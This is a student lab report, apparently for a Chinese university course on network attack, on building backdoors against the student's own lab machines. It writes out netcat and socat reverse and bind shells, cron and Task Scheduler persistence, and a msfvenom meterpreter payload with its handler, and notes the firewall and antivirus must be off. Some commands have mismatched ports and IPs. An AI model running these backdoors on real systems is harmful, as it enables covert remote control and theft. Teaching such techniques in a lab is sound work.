2018-2019-2 20165217《网络对抗技术》Exp2 后门原理与实践
实验内容
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
基础问题回答
1.例举你能想到的一个后门进入到你系统中的可能方式?
- 在下载软件时,常常会有其他的一些下载的选项默认下载,这时就有可能使后门进入到我们的系统。
2.例举你知道的后门如何启动起来(win及linux)的方式?
- Windows下通过任务计划、开机自启动、修改注册表项来启动后门程序
- 远程监听从而反向连接被控主机,发送后门,控制后门启动
3.Meterpreter有哪些给你映像深刻的功能?
- 获取摄像头权限进行拍照、录像,获取麦克风权限进行录音以及获取键盘输入
4.如何发现自己有系统有没有被安装后门?
- 用电脑所下载的杀毒软件对系统进行检测
- 查看开机自启动向、注册表项中有无异常
相关知识
ncat
- 是一个底层工具,进行基本的TCP - - UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- Linux中一般自带ncat,可以使用man netcat或man nc可查看其使用说明
Win获得Linux Shell- windows打开监听:ncat.exe -l -p 5217
- Linux反弹连接win:nc 172.20.10.2 5217 -e /bin/sh(IP为win IP)
- windows下获得一个linux shell,可运行任何指令,如ls
- Linux获得Win Shell
- Linux运行监听指令:nc -l -p 5217
- Windows反弹连接Linux:ncat.exe -e cmd.exe - 172.20.10.2 5217(IP为Linux IP)
- Linux下看到Windows的命令提示
- 传输数据
- Windows下监听端口:ncat.exe -l -p 5217
- Linux下连接到Windows的端口:ncat 172.20.10.2 5217(IP为win IP)
- 建立连接之后,就可以传输数据
socat
- socat是ncat的增强版,它使用的格式是socat [options]
,其中两个address是必选项,而options是可选项。 - socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
Meterpreter
- 具有强大的功能,特别是其socks代理,具体原理参考揭开Meterpreter的神秘面纱
- 有关参数可以参考MSF,里面有介绍一些后门的生成。
- 可以使用msfvenom -p windows/meterpreter/reverse_http lhost=172.20.10.2 lport=5217 -f c(IP为Win IP)生成shellcode,注入到可执行文件,执行时回连攻击主机。
实验步骤
任务一(使用netcat获取主机操作Shell,cron启动)
- 这里将kali作为被攻击目标
- 在Windows下打开命令行,使用ipconfig查看Windows的IP地址为172.20.10.2
- Windows中使用ncat.exe -l 5217监听5217端口
- 在Kali中,使用crontab -e指令编辑一条定时任务,选择编辑器时选择"3",在底行插入25 * * * * /bin/netcat 172.20.10.2 5127 -e /bin/sh(意为在每个小时的第30分钟反向连接Windows的5217端口)
- :wq保存退出配置即生效,可通过crontab -l查看
- 在系统时间到第25分钟,就发现获得kali shell
任务二(使用socat获取主机操作Shell, 任务计划启动)
- win10系统中找到左下角的windows标志:右键-计算机管理-任务计划程序-创建任务
- 常规中填写任务名称后(任填),触发器-新建新建触发器,然后确定
- 操作-新建,导入你所下载解压后的socat.exe的路径,在添加参数中填入tcp-listen:5217 exec:cmd.exe,pty,stderr(意为把cmd.exe绑定到端口5217,同时把cmd.exe的stderr重定向到stdout上)
- 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,双击任务计划程序库可以发现之前创建的任务已经开始运行
- 在kali中输入socat - tcp:172.20.10.2:5217(-代表标准的输入输出,第二个流连接到Windows主机的5217端口,IP为windows的IP),接着可以发现已经成功获得一个cmd shell
任务三(使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell)
- 在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.2 LPORT=5217 -f exe > 20165217_backdoor.exe(IP为kali的IP)生成后门程序20165217_backdoor.exe
- 在Windows中使用ncat.exe -lv 5217 > 20165217_backdoor.exe查看连接状态
- kali中输入nc 172.20.10.2 5217 < 20165217_backdoor.exe(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机上
- 传输成功
- 此时kali中新打开一个终端,使用msfconsole进入msf控制台
- 输入use exploit/multi/handler使用监听模块,设置payload
- 使用和生成后门程序时相同的payload:set payload windows/meterpreter/reverse_tcp
- set LHOST 192.168.246.128此处为kali的IP(和生成后门程序时指定的IP相同)
- 端口号也相同:set LPORT 5330
- 设置完成后,exploit开始监听
- 在Windows中先使用ctrl+c退出上条命令,在执行:20165217_backdoor.exe(注意电脑的防火墙和杀毒软件要关掉),发现kali获得Windows主机的连接,并且得到了远程控制的shell
原文地址:https://www.cnblogs.com/yequan1/p/10587748.html
时间: 2024-10-08 14:51:04